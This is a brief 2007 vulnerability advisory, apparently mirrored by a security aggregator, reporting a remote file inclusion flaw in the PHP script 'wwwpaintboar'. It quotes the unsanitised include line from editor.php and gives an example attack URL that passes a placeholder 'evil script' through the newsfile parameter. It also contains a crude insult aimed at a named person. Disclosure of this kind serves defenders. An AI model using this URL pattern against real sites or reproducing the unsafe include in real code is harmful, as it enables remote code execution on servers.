Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16306
HistoryMar 10, 2007 - 12:00 a.m.

wwwpaintboar(newsfile) Remote File Inclusion Vulnerability

2007-03-1000:00:00
vulners.com
17

> wwwpaintboar(newsfile) Remote File Inclusion Vulnerability
> -----------------------------------------------------------
> Version : 1.0
> Website URL: http://phpforge.oirac.com/
> -----------------------------------------------------------
> Discoved by saw_xyz (sasan)
> [XIII Security Researcher]
> Gr33tZ t0 :Snake
> My Home : www.saw13.com
> fuck ahsyane st an davood [ashy member]
> -----------------------------------------------------------
> Vulnerable codeZ is in editor.php
> in line 261 :
> <? include "$newsfile"; ?>
> -----------------------------------------------------------
> Ex:
> http://127.0.0.1/&#37;5bpatch&#37;5d/editor.php?newsfile=&#37;5bevil script]